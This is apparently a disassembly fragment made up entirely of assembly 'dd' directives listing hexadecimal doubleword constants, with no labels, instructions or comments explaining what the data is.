		dd 30C06FF0h, 73A9383Eh, 0D8060E34h, 1460DAA5h,	5F7E5D10h
		dd 0D2643300h, 0F4DE1D4Fh, 48280042h, 86CE9481h, 89779308h
		dd 1A216E0Ch, 0CE0B12Fh, 6201BAFh, 5F41D120h, 96C487E1h
		dd 607A0189h, 0ABB1D0Ch, 83D9B923h, 0B6831BA0h,	0CE11070Fh
		dd 8003CBDFh, 1E6FE8D6h, 462119D8h, 3E170330h, 7ACAB19Dh
		dd 3AE15064h, 20DA5D41h, 0C2C8800Fh, 0F5FC5137h, 0EA730CD3h
		dd 0C180A28h, 0B32FA300h, 7742171h, 81F67A5h, 4DECCF08h
		dd 9FEEA8B8h, 0E919608h, 3FE00067h, 47D5FD40h, 0BDA47E1Ch
		dd 9217AF00h, 31B19CA0h, 9491717Ah, 0C2F2E916h,	7F5DA340h
		dd 873E3379h, 0EF5E8AAEh, 70B18057h, 0A20061F1h, 76009CD2h
		dd 0CD1A5D09h, 18FE8ED7h, 20839D6Ah, 720AAB1Fh,	20EED04Fh
		dd 8C81AB70h, 3ECAD8C2h, 5F10487Eh, 9260034Ah, 5B3B3C08h
		dd 8306483h, 52C42171h,	93C90F60h, 0AE05092Ch, 3FD420B7h
		dd 453F3E90h, 236386A6h, 61089B9Eh, 87E02118h, 4782F03Eh
		dd 0E3B0A00h, 5E954810h, 42D41268h, 0B7200F46h,	91305C2Dh
		dd 8E80B060h, 0A3A6473Eh, 0DE12448Ch, 933E8500h, 5058B628h
		dd 0D5D91D71h, 17B78033h, 792289FDh, 0A1B6C0A0h, 87639E00h
		dd 69996B9h, 0C118C36Eh, 58DA4C7Fh, 0B6775848h,	0DDD7DC00h
		dd 0D61B03BBh, 4F08CCC3h, 0AE409821h, 0B44B2EBFh, 50561270h
		dd 0CF23ACC8h, 8F604701h, 7B186408h, 1F4FBF88h,	809D6760h
		dd 0A075AE10h, 0A9C459C6h, 0CA0F711Fh, 0C04E8890h, 0DDD5DCB8h
		dd 4B22CB46h, 0DCB09603h, 863EECh, 665AC671h, 0E1FA3AD9h
		dd 0C5B84400h, 670CE041h, 49C4A016h, 0C10B7487h, 9AD4DE30h
		dd 8818B143h, 0BD006766h, 8628A806h, 43A1417h, 54B7C04Bh
		dd 3CE5CC27h, 0A100CF58h, 372C39C7h, 0B6308ECAh, 87F22126h
		dd 167501B0h, 0D4AE1BACh, 0F521E93Eh, 0A2502357h, 0F61B3076h
		dd 0D9BDB502h, 6088E4C2h, 0A0407A50h, 844F8260h, 0B786B111h
		dd 8C4DAC40h, 0D8DCB504h, 8EB3DDh, 0DCAD9900h, 0E1E7C00Bh
		dd 853E9418h, 0D02C89h,	3DD20D55h, 3C6F496h, 4DDAA63Eh
		dd 0D0D864F4h, 90604460h, 114C0823h, 0BE3E75h, 6CDB9460h
		dd 16265447h, 31E423A2h, 319AA04h, 0C288CB35h, 0FF9C481Dh
		dd 0B61700D7h, 837AD296h, 8CCDA9Eh, 5C2113h, 68AB17D0h
		dd 0FEE8DB60h, 0BC20F498h, 0C454850Dh, 4E8F6073h, 7899266Ah
		dd 0DFFD003Ch, 5AC1B815h, 0B111EC91h, 4A3E9580h, 87ABA6h
		dd 0A83E8CDDh, 0B6015C6Dh, 19C6BB41h, 38209C69h, 0CD184143h
		dd 8CDC48A4h, 14601448h, 88EC84ABh, 0DCBCC052h,	0AB46DDD1h
		dd 9A005122h, 0B9F9DCB4h, 0C2F7A4Bh, 76B2AC84h,	0D40E770h
		dd 3AB60241h, 59DDB83Dh, 0C116C9Dh, 790DC09Eh, 0CAA8401Bh
		dd 0BC10CC28h, 78A18A2Ch, 7628743h, 6404CE99h, 69E3F060h
		dd 5C02E6F1h, 0BA0A2A36h, 6330423Eh, 8402EFDh, 0C049144Bh
		dd 8327870Dh, 61D8E440h, 0CDFE00Fh, 8821F217h, 8D008656h
		dd 0C7F066A1h, 0EB7B91Ah, 74974081h, 9D0600ABh,	0E2EF10EAh
		dd 0B4090BDFh, 276CDCBh, 123DAD8h, 6501A268h, 809086FCh
		dd 22D00FFEh, 0A80C1CA3h, 0A8070CE2h, 1A7E2427h, 6087445Ch
		dd 23B717D6h, 0A11DA96h, 17CF5F00h, 0B1CA0D5Dh,	3D527402h
		dd 41FBC67Ch, 0FD1E060h, 0C077C80Eh, 0EEFBEC66h, 995470F5h
		dd 3F7700F5h, 58E9D9C6h, 94618CEh, 5C088E60h, 0C000E01Ch
		dd 737A604Eh, 283D6A51h, 2090227Bh, 1B08FFD8h, 5B11B8h
		dd 89F11D9Eh, 0E0B0BD9Ah, 0A1782520h, 9218B430h, 0A64B3E0Bh
		dd 24B81CC3h, 4089DAh, 0ACCA5A22h, 0B1E3639h, 8CEE9197h
		dd 741E3F8Eh, 13CC2368h, 8380548h, 7268222Ch, 6050C220h
		dd 0BE662CE2h, 730803B0h, 0A8027729h, 0EF04DDFEh, 8930483Fh
		dd 0E76740AEh, 0B64F4A7h, 4BA0C563h, 120024EBh,	422DCEF2h
		dd 18A21A8h, 80B75671h,	0A975FD72h, 51809880h, 0C21CB8FFh
		dd 23F2001Dh, 68694D9h,	9A4A8A12h, 0B5D41C41h, 71B221D5h
		dd 0D4308DA0h, 5214B817h, 618650EAh, 9D0020CDh,	0F6C2B784h
		dd 0A021C17Bh, 807296B4h, 36143EE0h, 842C861Fh,	0C4FE17D5h
		dd 5E2C28FFh, 1917CE00h, 94BAF01Ah, 0EC4700D4h,	5B86DEE0h
		dd 39267306h, 0ED87B046h, 2B416335h, 0A426361Dh, 536991E0h
		dd 1836A100h, 968812D7h, 48E27727h, 6602D424h, 0AD5708C7h
		dd 25A0404Ch, 8B48A646h, 88E1E040h, 0C561003Eh,	4451992Bh
		dd 9FFEB5ADh, 840594Bh
		dd 53A65017h, 0AA1E0A63h, 2988BBEh, 3E0EF434h, 0A97D2858h
		dd 9048D0BAh, 1D12354h,	8916045h, 0BD000E54h, 4A98604Dh
		dd 550CE729h, 58111B0Ch, 2289109Ah, 0E8104C6Ah,	20388C4Eh
		dd 0A593B62h, 8C1428B6h, 0EA73C480h, 5C63Ch, 98D8D7EBh
		dd 0B71E0103h, 55C1D200h, 96D36E83h, 0DA640118h, 7CE2A7D7h
		dd 5EDC3409h, 0E8F01B5Ch, 46008C4Ch, 0A7728F0Dh, 52189F27h
		dd 8702B4A6h, 2E99F6B9h, 0B6732050h, 47899316h,	0B752D027h
		dd 19DCA010h, 0C55CC8h,	5A7C96E5h, 0C0B28AD8h, 591EF679h
		dd 8C9EE8Eh, 0E4D04506h, 1980600Ah, 97300BE6h, 0F09D5AE0h
		dd 74807711h, 8BC60CDBh, 3D727E0Ah, 45016446h, 77D2899Bh
		dd 0DC96E8BFh, 18742162h, 2433ECDEh, 0CD8011DAh, 4CBE570h
		dd 17EADA0h, 678DA1Eh, 9717E040h, 5E249418h, 40035146h
		dd 0BA700914h, 0A11FEB83h, 46CC971Bh, 10E2D06Ch, 581E6AF4h
		dd 8C12E8F4h, 0A83DD902h, 0C2FDBCF2h, 11E41F3Ch, 9DEC800Bh
		dd 24DDBD24h, 825C9C4Ah, 15B6D4E0h, 98A2B044h, 51D9AC51h
		dd 0E4005F18h, 90249221h, 0C025B6FAh, 1E22C981h, 0B90077A7h
		dd 0DE143DD4h, 27FF4F75h, 88A40163h, 0BD98813Eh, 0A2CC7323h
		dd 0F9043017h, 0C858301h, 1ED0EAA8h, 0FDFC0404h, 86A90B50h
		dd 58200610h, 0E052E460h, 2304DE05h, 0B6840925h, 843DAC10h
		dd 77007AF0h, 0FE24AB2Dh, 3E98DEEh, 30042282h, 601062A9h
		dd 0A6017B95h, 6894A151h, 73C89CDEh, 0CCB102F8h, 0CA7C288Fh
		dd 0FA904160h, 96B491DEh, 0A066CEE0h, 24B64108h, 2188DECh
		dd 11A2D47Eh, 20CA2044h, 0B9C0CC51h, 46DDD4DCh,	26522293h
		dd 34B19Dh, 6E2C0C33h, 9054AB8h, 0A18A8E44h, 0C400B025h
		dd 0DE89A916h, 4F44A16Dh, 9B73448h, 0C3DDD6DCh,	9724001Ch
		dd 5C00DDAFh, 6453770Bh, 22E8D6F4h, 4C7185Ch, 60677844h
		dd 102C91B9h, 0AC3FF300h, 458A8890h, 9D5CB95Dh,	952960C7h
		dd 53715C59h, 0C501CC19h, 843FE700h, 0B7A154BCh, 959A1388h
		dd 0D5544060h, 0B603EC25h, 0B5E00600h, 0A5ECDB4h, 2DC25D8h
		dd 0EA1F3081h, 0C8F03D5Dh, 3FDF0278h, 18503668h, 74DAA609h
		dd 0C4000EEh, 0F0FE7A8Bh, 2D08F421h, 343947B6h,	9C67020Ch
		dd 0FD992320h, 0B246A028h, 493E9402h, 0D859B3A6h, 3E8BDC60h
		dd 0FB70F11h, 4900697Ah, 0BCE318DFh, 0A72E6090h, 0D508606Bh
		dd 17A80068h, 55C5A30Ch, 0E09F10CEh, 0DFFC8FAAh, 0B4500135h
		dd 7FAA111h, 0BCAC3CC7h, 93038C7Ch, 33E226ABh, 519D9052h
		dd 54952819h, 1226A2F0h, 0A6C860F0h, 11889408h,	604983CDh
		dd 0C734F295h, 51C1004Ch, 0A1D5A60h, 0D0878E30h, 537298CEh
		dd 16A2A021h, 2F18F30h,	0F5110C2Dh, 64673FD7h, 6F600B64h
		dd 0B101F3CEh, 872BE19h, 0FC263B24h, 0CE6B87F0h, 4919C00h
		dd 3E57AEA3h, 0B73101DAh, 0B19462A1h, 25706C1Ah, 11F41DC1h
		dd 9AC08705h, 0EF7782E0h, 2E49D792h, 11239Ch, 34219CDEh
		dd 1B4CAEF4h, 248C8A78h, 0BA17D340h, 2CF24A96h,	0CC00608Ch
		dd 6786F117h, 0F49B0CF4h, 4B50046Eh, 0C2A5E2A2h, 0F4D35DB9h
		dd 0E23670h, 9E67999Ah,	1A53CB6Bh, 72CF26h, 30BEA08h, 0C2DA241Eh
		dd 6B063904h, 90806745h, 2A531ACh, 9F87761Dh, 9407A841h
		dd 0F052B685h, 0D400B86Fh, 8A0AF7B4h, 1C09F8DDh, 4885E2B2h
		dd 801492C8h, 3E17C86Ch, 40D81B22h, 429E134Ah, 0A4221CB5h
		dd 764674A0h, 4A18E30Eh, 0F8893921h, 0FADCE454h, 0B6040CBCh
		dd 0D8005719h, 0CD6E4BFDh, 0AEDCDF1Fh, 9980382Eh, 1D120A95h
		dd 0D65602F4h, 0B6AF57A3h, 0F6E26CFAh, 9A718AC0h, 0E5387DC1h
		dd 0ACD09854h, 28A33545h, 0D1829A8h, 1DC2FCE0h,	84BC7960h
		dd 68F4A08Ah, 58EA1046h, 0A31A0B03h, 910E155h, 19B8982Ch
		dd 9AB6018Ch, 7A336B46h, 8DC1C00Dh, 33B4F76h, 361A0473h
		dd 64988A1Fh, 0BC1704D1h, 8B7B0296h, 0CA6200ACh, 0E2F4BD17h
		dd 18AB0E40h, 6E665D7h,	0A82FD823h, 0BD8020A9h,	0A01786D6h
		dd 802D7AF8h, 566216B6h, 5004F2E9h, 0C0CF581Ch,	30219302h
		dd 8CA04986h, 0A6E4BC54h, 6E3B2000h, 84C351DDh,	0D4890008h
		dd 0F8BBD4Dh, 3D7FEDC4h, 0CC01A4A8h, 0E7237301h, 1668388Eh
		dd 99B2F940h, 1CB409F9h, 0DA80BF34h, 0D8243E5Bh, 24382D49h
		dd 867089Fh, 0C7F574C7h, 2A0FBCC1h, 0ED073006h,	0F1569647h
		dd 0C06718Ch, 20D2A7DFh, 0B80540C9h, 0B2FCDE1Ah, 6C41F440h
		dd 486B0839h, 758330Dh,	6A5E1F02h, 58C85469h, 0FDF08606h
		dd 0A5DB5D41h, 0B0048056h, 94040B02h, 0DE30E499h, 416053E6h
		dd 5C5E9C18h, 3C6800A1h, 1EDFFEE9h, 0C254DCE0h,	4E3EE4B8h
		dd 0E00F2A64h, 930652ECh, 88863F46h, 145E4C69h,	0A169C279h
		dd 3E0371F6h, 33E90087h, 0B2E74B77h, 8301CA6Ch,	641DBEFEh
		dd 1C28EF03h, 0A024B615h, 40AD521Eh, 5C8326A8h,	0CD00811Ah
		dd 3B2F5DDh, 92BD82FEh,	0DE751C68h, 9304A6DCh, 64A08896h
		dd 8D04084Ch, 0A2DC61B6h, 0C50626EAh, 0A4502408h, 91133A4Ch
		dd 448542h, 1F4AD1BCh, 0C535931Ah, 2CF26862h, 5D3012F2h
		dd 0F6716Ah, 70FEE2CEh,	0CE83517h, 5FA56712h, 20CA6042h
		dd 0D44208h, 0FC787288h, 0D01C67EAh, 0A8B786A6h, 6BD5502h
		dd 0ABEEFDAAh, 91081DB8h, 7B638071h, 5BD2A834h,	664802B8h
		dd 0B85908CDh, 0E8180C71h, 0A9841416h, 732AB404h, 0DD4E0200h
		dd 7E013F4Dh, 833E9FCFh, 40386B32h, 78C53BCh, 69751D92h
		dd 33BA4017h, 1EF66885h, 1A34B09Ah, 6C8E91A7h, 89C10C88h
		dd 95DCFD7Ch, 0F4E00B55h, 0CC13176Ah, 0E8D863F4h, 8CCA96B5h
		dd 985D0644h, 0FC973F78h, 236CB801h, 443CE2A8h,	0C8C8CEECh
		dd 0A6A1C076h, 7409C0EAh, 4AC5F0Bh, 14C1A500h, 588002F4h
		dd 0E06094AFh, 5E6F1C77h, 6D91E08h, 109761B8h, 23D03A47h
		dd 0C690E0Dh, 99A25081h, 0B102D4Eh, 89070D12h, 40698908h
		dd 74DB2408h, 76D8B69Ch, 0A7247346h, 87751F70h,	0C8B6C7D2h
		dd 918097A7h, 0D879804Ah, 0BC299B08h, 0A8C2CF8h, 298590Ch
		dd 3673CA05h, 0C580C8B7h, 45DFC94Ch, 3F360130h,	0A3AC32D6h
		dd 0B19CC8B4h, 0C44F8A25h, 0B9B861ECh, 489B449Fh, 59815610h
		dd 0FE31A810h, 66C96A18h, 2A6420B0h, 95D8A001h,	3766C04h
		dd 0E28B7h, 0F8B33819h,	81C8A480h, 170307BFh, 6A0F40EFh
		dd 0BAE03C2h, 2F32F4DEh, 0EA32021h, 22D420B0h, 60A551DDh
		dd 2C32FE4h, 885B7D9Fh,	28C84D8Ah, 0A8CA1E29h, 0FF81C87Ch
		dd 0A7B7D9BCh, 4032B830h, 0A8093E43h, 5BF4D8DAh, 0DEF0D320h
		dd 0C2017C2Dh, 0CAA65458h, 0D84017E0h, 63B5A24Eh, 0F424905Ah
		dd 0EBD050D8h, 0A644F004h, 0E8A2635Bh, 0C53010F2h, 3A4F0256h
		dd 51758A66h, 2822F064h, 91104819h, 61898700h, 0B97CBFE4h
		dd 0AC595813h, 0E3A71B00h, 1CF521C9h, 2E35A841h, 0E97000D8h
		dd 0FF63FA4Eh, 48A6DCBCh, 24254A1Dh, 48E8EA58h,	0BC35352Fh
		dd 40725D80h, 71B2F32Fh, 0F51B0FE2h, 40F6AE91h,	5B5404E8h
		dd 6800814Dh, 356657A2h, 94804086h, 0A037001Ch,	0A3062E5Fh
		dd 711AE216h, 2B006C7Ah, 1AFA7DB2h, 151E4533h, 0ECE4B880h
		dd 4C9FA640h, 2EA5018Fh, 604E1D2Ch, 3D1BE4E1h, 8945C707h
		dd 28B4EEBCh, 0A01A8E9h, 8E2AE362h, 6072E25Bh, 20958A18h
		dd 1A0EA879h, 0B9CE7306h, 177910D1h, 0BC00F618h, 0A83C87F3h
		dd 90F004F2h, 0C988805Ch, 76909480h, 5020A46h, 0D6DC6042h
		dd 1C968C68h
		dd 1853F22h, 71AAFCCAh,	0C8F1AC17h, 232482F7h, 0FF4194DBh
		dd 0C824B9C4h, 48B60583h, 0A1EE9995h, 6EC46098h, 0C959136Eh
		dd 11B49D5Ah, 0EE4C8777h, 804EB493h, 3B81CD9h, 0E88D47FCh
		dd 0B6A44F99h, 0CC0AE0D0h, 0DD60004Bh, 9215046Bh, 0D488811Eh
		dd 4B48925Bh, 23102E35h, 0DC121C0Ah, 3AAF00D5h,	0A3236EB3h
		dd 38AC6953h, 80403DC9h, 338D6D8Bh, 0CCD643h, 0A337BA8Fh
		dd 872573A1h, 70B16160h, 2AAD59Fh, 0A5E94418h, 0F85EB54Bh
		dd 17B2AD40h, 0D0DE0027h, 0D5D43D69h, 0F0000353h, 0A225869Dh
		dd 2E3B3DAh, 0A3085D0Ch, 0BC5048C1h, 8030D225h,	0D14FEFB4h
		dd 193803DFh, 18AD872Eh, 0C7DC80A5h, 0B5068ED8h, 9FB6CF47h
		dd 50630428h, 4086D745h, 0D03EB791h, 46A009B6h,	0BAF8C6FEh
		dd 7403D09Eh, 62155CCAh, 5A291868h, 0CDC0FE02h,	7EF9C094h
		dd 912D96B1h, 9060816Ah, 4463A342h, 42608C45h, 780B6914h
		dd 97CA5484h, 364D0C0h,	71821EFCh, 18137964h, 40989656h
		dd 0F4B2D98h, 0A03E5B27h, 2F501B4Ch, 1707863h, 0DE8045DBh
		dd 0E84F4786h, 7F3A590Eh, 0B758075Bh, 9460859Ch, 6D87C0h
		dd 461AEFAFh, 560E437Fh, 1DB8403Ah, 21CBC367h, 20860057h
		dd 3B6FE8Fh, 0B522AA1Ah, 29348717h, 180E217Fh, 4F49B88Fh
		dd 0D8FA23h, 3BEA2428h,	17A82026h, 465EC494h, 0A8C7037Bh
		dd 593EE1Dh, 6E1FF28h, 84F0C1A6h, 0EC1C2810h, 38018C77h
		dd 0A3ADB191h, 3C739D18h, 0A293583Ah, 6978A122h, 78D8B900h
		dd 80F33C49h, 0A806BC00h, 22F4CA45h, 0D3E71091h, 0F4B61278h
		dd 610F37DCh, 40BF4051h, 36A93C12h, 42A7906h, 7414EBCAh
		dd 8EB495EAh, 0C072C828h, 0D59EAADFh, 7CE8C03h,	0A20C7DD4h
		dd 172C7826h, 0DE88BE89h, 0B30E8000h, 2B9FAA5h,	91953702h
		dd 820E7B5Eh, 5C291F04h, 439F8710h, 7C6DC912h, 4CF967C0h
		dd 0C1E50035h, 64B5DDF5h, 2CB92209h, 7652B104h,	1E811C03h
		dd 145E56E2h, 70124674h, 0CCA5713Eh, 81F18B64h,	91AF0F6Ch
		dd 18BC0C38h, 75E4008Ch, 0B8E695BDh, 4174EEAEh,	6D2C2171h
		dd 53110C01h, 6A451867h, 607E1ECCh, 10B08D4Ch, 0D41C4A15h
		dd 30579ADFh, 40419CCFh, 0BCF49752h, 37C43C46h,	0D6891077h
		dd 4E00479h, 0FCB31CEFh, 0BD3011B2h, 0D65000A8h, 0F8E62A46h
		dd 580994C9h, 0A0E401DEh, 2FB41890h, 0B1931706h, 0AF342250h
		dd 123E8F30h, 0CB9BA648h, 86DF00CCh, 201CB33Eh,	0A56B3906h
		dd 1916A040h, 0C09A3583h, 15FB63C0h, 913B437Ch,	0C030C8F2h
		dd 0BAEFFD4Eh, 0DDD709C6h, 0B479FFAFh, 0FA180B79h, 54F2470Bh
		dd 0FC605A16h, 0F140810Fh, 0C41C3B2Ch, 0C453B900h, 1CA6622Ah
		dd 6F1FD7DDh, 698078B7h, 1ED4FDE6h, 4AD0901Bh, 6044C94Eh
		dd 3009D5B0h, 3033E14Ah, 514A844h, 5589931Ah, 0A290F36Eh
		dd 0EC653017h, 83BC5400h, 1A49D6FEh, 24DA38A6h,	16A08050h
		dd 0E4DF2391h, 0B8A4277Ch, 7B9A9801h, 87C5ADFBh, 48000873h
		dd 54DABCCFh, 8B1CCE8h,	0A01874D1h, 11E07B60h, 0CB15958Ah
		dd 0C45286B1h, 0A94C503h, 80937CCFh, 2C1B4236h,	95EDA0h
		dd 0D9515C8Bh, 0DC935D04h, 46743424h, 424A1F13h, 30154445h
		dd 42C468C2h, 0D1CCD900h, 0B0781875h, 0C3C789Eh, 48856C67h
		dd 4700B3D1h, 0ABF3FB3Bh, 0BAF48Dh, 8B179431h, 7EA41BF2h
		dd 9FFD9A1Dh, 0CC1328FFh, 9C9BD0A0h, 0DCE041C2h, 98CD81Eh
		dd 0B288CE91h, 8FFF5483h, 746624D1h, 179FCCE4h,	807C91B8h
		dd 0CF93A923h, 116F0454h, 0A26878B1h, 15E4C44h,	0E58152C8h
		dd 8862247Ch, 0B230B292h, 55703076h, 72E10200h,	3DF0E0B4h
		dd 1D21CF84h, 19DB16A0h, 27C89A9h, 0EC580C58h, 56008C4Ch
		dd 0A86215F3h, 0BE0EECF2h, 5373173Ch, 0A214E308h, 58203012h
		dd 647CA500h, 0D02968F5h, 9101EC0Eh, 99EE029Ch,	0B072703Ah
		dd 0F1111621h, 0CB21813h, 80129214h, 0F7B0D850h, 0E1501A6Eh
		dd 1FC3DB24h, 23A43B6Eh, 0B1380071h, 0CD4B825h,	6412740Ah
		dd 1607640Ah, 10BB569Ah, 80245348h, 0BD04679Eh,	1CD7BE35h
		dd 49F284E0h, 42099CC0h, 0D8E3CDA3h, 0F8EC4858h, 27008C0Ah
		dd 0C606BDADh, 170E4B85h, 8DE73A9h, 5D922468h, 2EE13CF6h
		dd 36FF70EFh, 9637C3Ah,	108A3EE3h, 0EBB288h, 5D4ADF07h
		dd 0E0DE996Eh, 0B0A9163Fh, 0D7CA90BFh, 770425E1h, 0C744F448h
		dd 5464A105h, 85EAAF53h, 0DA68205Ah, 27090410h,	0D18F4477h
		dd 184D79F0h, 0A97307A1h, 1BD7694h, 40F22FDDh, 0E4F3FDF8h
		dd 0A1B02850h, 0E2749401h, 4BD0E704h, 0AB28833h, 7DC43031h
		dd 0E6E100F6h, 0E9693514h, 45AF2A7h, 0DFFE98C0h, 1437B719h
		dd 7D12C101h, 0D0D1FF4Ah, 0EB003033h, 435DD498h, 0AD0423F4h
		dd 383DDCEh, 0F8B948EDh, 0C116FDBAh, 8CF3095Ah,	0D93072A2h
		dd 71334E2h, 0F3B481E8h, 1C146005h, 1080027Bh, 8033E521h
		dd 96307BB2h, 0EA1200FCh, 9E50F948h, 8B2706A6h,	56686299h
		dd 0B035E99Ch, 531D2980h, 0F29FF7E2h, 30342D47h, 12E4AC45h
		dd 8063B161h, 203D49F8h, 5A6AFE9Ah, 1EF4C031h, 2D2D0464h
		dd 64A8E71Fh, 0F4026005h, 0DF7313B3h, 7D23003Bh, 0B62EA84Ch
		dd 88CF4F00h, 7A8568A1h, 0FCEE048Ah, 85463ADFh,	0CB101398h
		dd 0C419C8B8h, 8050C449h, 8E11013h, 8021A32Dh, 4E389EB8h
		dd 0C5EEF0h, 2CAC189Fh,	0CA89A8A0h, 3303CC94h, 25223A28h
		dd 0E048B750h, 2C12D5D2h, 0BC51D15Dh, 4C9BB8B4h, 0C27A438h
		dd 5C9D4062h, 3A8F7C11h, 8476407Eh, 0AF2EB3F7h,	87403F1Eh
		dd 4E80C4E4h, 0B0C03994h, 30FE69h, 23E43A2Fh, 6A4698F7h
		dd 68018AFEh, 0A30CB673h, 9460E3D4h, 66311FFh, 0B1F40422h
		dd 68AC530Ah, 3B1EFD11h, 8A860BB2h, 87E8909Ch, 88F28848h
		dd 0F032B700h, 79A0D5D9h, 4924004Ah, 54672265h,	0C8523780h
		dd 0D24009ECh, 972850FCh, 0C0893431h, 3C022FB1h, 3ED85B58h
		dd 72C22070h, 0F5001E29h, 68EF3501h, 99F39Dh, 82D3F9C0h
		dd 26A99745h, 907800B5h, 0D73996A3h, 0B268A358h, 52583050h
		dd 0AC2B2A00h, 7415D3E8h, 123835DAh, 0B8C0A9B8h, 0D40901B0h
		dd 5EFCE0C8h, 40800447h, 7435EA64h, 0A6D21D74h,	5F4C873h
		dd 3A48D60Eh, 25482CEh,	633E0250h, 7018CCA3h, 0C1B5ECA8h
		dd 0FF25EE7Bh, 0F40C907h, 6A007D08h, 1130C221h,	0B5F83Ch
		dd 43352DD7h, 0E0EEA34Ch, 0EDC38C00h, 33103ED6h, 70F4A1B6h
		dd 10618611h, 0D2512h, 0D25FF274h, 1864ADCAh, 0A01FBE7h
		dd 0F5A83C07h, 532FF0D3h, 775C0034h, 0C96DCE0h,	0F001ECB1h
		dd 50A4F7D5h, 0B23C122Fh, 72F201D8h, 94C8BC19h,	2EA128CCh
		dd 0C0C080B0h, 6C6291F4h, 12547682h, 0BFD20347h, 700106A7h
		dd 0EE3AD756h, 213A5D85h, 861A5A60h, 6FCA9981h,	782A5840h
		dd 0E43A0050h, 92C10025h, 56575E9Ch, 0D82823CFh, 6406648Ah
		dd 41282572h, 386FB089h, 0A84029Ch, 0BC3F0CE0h,	0D84F0F78h
		dd 211363h, 406E22B7h, 4A715A28h, 2A00C8C3h, 2C52BE8Dh
		dd 7EF3FC88h, 0D7D41268h, 5370B020h, 25F6B088h,	94003689h
		dd 0FD82FE94h, 7501549Eh, 0D32FC60h, 0CA44442Fh, 1A07446Fh
		dd 0D2A83F41h, 133C7C28h, 6C21988Ah, 0FD33DFEh,	35730C69h
		dd 0B6081213h, 9867E06Ch, 0F67A04ADh, 0A45EBEB1h, 9A5618ECh
		dd 41F616C4h, 8CFE8C91h, 233C3B6Fh, 0EAB5004Fh,	0D6790C92h
		dd 0C3B72E03h, 0F566C66Bh, 0F8627CE8h, 745E0EE8h, 8C50684Ch
		dd 0D3DCBA05h, 6CCE9BDDh
		dd 0DCB29C00h, 492D6583h, 347C3F02h, 0D9337895h, 18767914h
		dd 0CDC13FAAh, 30826EBBh, 0B73F8061h, 0AC804074h, 62479A94h
		dd 0D32F00CEh, 0EC4C225Ah, 0D5698344h, 7828F349h, 0AA0216FFh
		dd 0ADF0ED1Ch, 60523Eh,	0F6877F70h, 192F7AD0h, 0AFB8303Eh
		dd 13542407h, 6BCB4ECh,	0C529028Ch, 0E732EF82h,	2B002066h
		dd 703FC36Ah, 24B65101h, 1EE8BAC5h, 941460F2h, 5EBF6B08h
		dd 8C147402h, 7B584A97h, 322F70C4h, 826DCA3Bh, 0BF12A829h
		dd 7B40E241h, 1495A58Ch, 15801691h, 0D6E1A668h,	5B36C8EFh
		dd 8E024502h, 0CA12A194h, 0CA0C244h, 97147858h,	44A7A095h
		dd 9A879A4h, 0DFD25876h, 0ADB4E898h, 6920E500h,	39BE1DF6h
		dd 7540E31h, 2D407A87h,	18C14785h, 0E88C9B5Ah, 0F29F09C7h
		dd 40E40A7Ch, 2F3FC245h, 512384h, 67DEBA60h, 5C0F08CAh
		dd 596E9196h, 2992EFF8h, 1B8B257h, 2EC6F6BFh, 202FA1B5h
		dd 358B0690h, 3882564Ah, 5E345636h, 0A3007546h,	85968704h
		dd 0A6122A8Fh, 0D0BCA0F2h, 78748D4Bh, 25E72210h, 84ECAC18h
		dd 48201E6Eh, 0B194021Bh, 0CC7285B2h, 0A2F5220h, 16DD241Ch
		dd 0BD38B8ECh, 4C872904h, 0B88CA9FFh, 188A05FDh, 3A0EA342h
		dd 3762380h, 71AE6930h,	168D0280h, 2FDC009Dh, 800B78D2h
		dd 1A5EBEFFh, 53C8A8CBh, 0EAA3EDC0h, 26CF00A1h,	0F3ECC8B5h
		dd 160177D3h, 23D685A7h, 487574DBh, 78A28C23h, 170FC30h
		dd 6841B03Ah, 7E5E9194h, 10E88004h, 0B6D74CB8h,	0C1B1E008h
		dd 2F750463h, 0AB22D8DAh, 1A00E87Ah, 782141DAh,	37804FAEh
		dd 0B47BF697h, 71465ECCh, 0D0CAFE07h, 381B8008h, 0C7002E31h
		dd 0EFD1B3E5h, 1FD629F3h, 5F620353h, 0F2A705B2h, 0A198F084h
		dd 7BB99E58h, 7225A4B0h, 0B6C8EE85h, 11465ED0h,	9F4B1D0Bh
		dd 178BD889h, 13B6D802h, 0CDECAB55h, 0A6760CCh,	0F9089DA1h
		dd 0BF09138h, 0C4846D81h, 5058A8A3h, 3A627A01h,	0C41EE070h
		dd 26418F4h, 9F18711Ch,	5E0B8C99h, 18885AD4h, 4987A994h
		dd 0A230DC66h, 8A99192Eh, 0D68CAA65h, 446747Ch,	79864900h
		dd 0D4AE90F3h, 0A3061109h, 9DDC78B5h, 0D60274B7h, 7427B94Ch
		dd 0BE3283FCh, 0BFD01E50h, 680162A1h, 60786365h, 9AF459D7h
		dd 705E69A5h, 23C1C802h, 0DCA456h, 0F80B903Dh, 0CDDD7B6h
		dd 0F012472Ah, 780040B1h, 72404339h, 0C036DE5Bh, 0CE204471h
		dd 9CB8F1EDh, 71666044h, 19CF038Eh, 371CD80Ah, 80D628AAh
		dd 84466740h, 0ACC41CBAh, 0BDD800AEh, 1E69A2A5h, 0E9E1341Eh
		dd 86C0481Eh, 71FA56D6h, 8912FBEh, 5D60A4EDh, 0BD26484h
		dd 0CBEA73C9h, 7CC45CC7h, 786F2260h, 7600AD70h,	271A90EAh
		dd 5B442h, 986637C1h, 93D0F520h, 3A05F4E0h, 47A9BF6Dh
		dd 52F2FCA2h, 31CBA833h, 2FD90064h, 4A35E854h, 79557308h
		dd 342FF8h, 78880CCEh, 0E8F232C0h, 0B0A4E047h, 6F8E20D0h
		dd 76B2872Ch, 37097E1Dh, 0A8CCC0D4h, 152C20F2h,	31931A09h
		dd 0D91C5961h, 5CDB180Ah, 0C8043C56h, 0B04B3C9Eh, 80BE2044h
		dd 8BFCC525h, 1C90E024h, 0FD12A69Fh, 0A5DCD7h, 5ADB2088h
		dd 4674E0A4h, 16F61C7Ch, 3C7A0C47h, 0E0813652h,	27F1B6A3h
		dd 38E05349h, 0EE03A8CAh, 4B5073B2h, 3EFBA0h, 339DB4A1h
		dd 4F86D9C1h, 390E1B3Eh, 161E80C3h, 9B2F1027h, 74309870h
		dd 0D71C38A3h, 0F2DCC8CBh, 8366CE00h, 70BB1F0Eh, 3F5E011Eh
		dd 45DAEF6Fh, 0D0FBED7Dh, 0A05A477Eh, 407C60C0h, 294F6376h
		dd 2040FAF7h, 8EE34718h, 935B2F49h, 570F48A3h, 650AE006h
		dd 530281A8h, 0C59C3A9Ah, 0FA367088h, 77985503h, 0C89E41BEh
		dd 25A0328Eh, 0CCD8B4F2h, 9A227E7Ah, 0FC5609EAh, 18803B02h
